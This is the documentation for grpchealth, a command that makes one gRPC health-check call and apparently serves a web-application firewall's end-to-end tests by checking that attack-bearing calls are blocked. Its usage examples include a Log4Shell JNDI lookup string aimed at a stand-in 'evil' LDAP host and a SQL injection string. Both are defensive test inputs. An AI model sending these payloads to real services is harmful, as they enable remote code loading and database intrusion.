Documentation
¶
Overview ¶
Command grpchealth makes one gRPC call, grpc.health.v1.Health/Check, over HTTP/2 without TLS, and prints the call's status code (OK, PermissionDenied, ...). The kind end-to-end test uses it to check that gRPC calls pass a policy in block mode, and that one with an attack in its metadata is denied (#284), or in its message when the policy inspects messages (#275). -method calls another method of the service with the same request, one a schema doesn't describe; -descriptor-set writes grpc/health/v1/health.proto's descriptor set to stdout instead, for a policy's gRPC schema (#316).
go run ./hack/grpchealth -authority grpc.example.com -metadata 'x-api-key=${jndi:ldap://evil/a}' 127.0.0.1:18091
go run ./hack/grpchealth -authority grpc.example.com -service "1' OR '1'='1' -- " 127.0.0.1:18091
go run ./hack/grpchealth -descriptor-set > health.binpb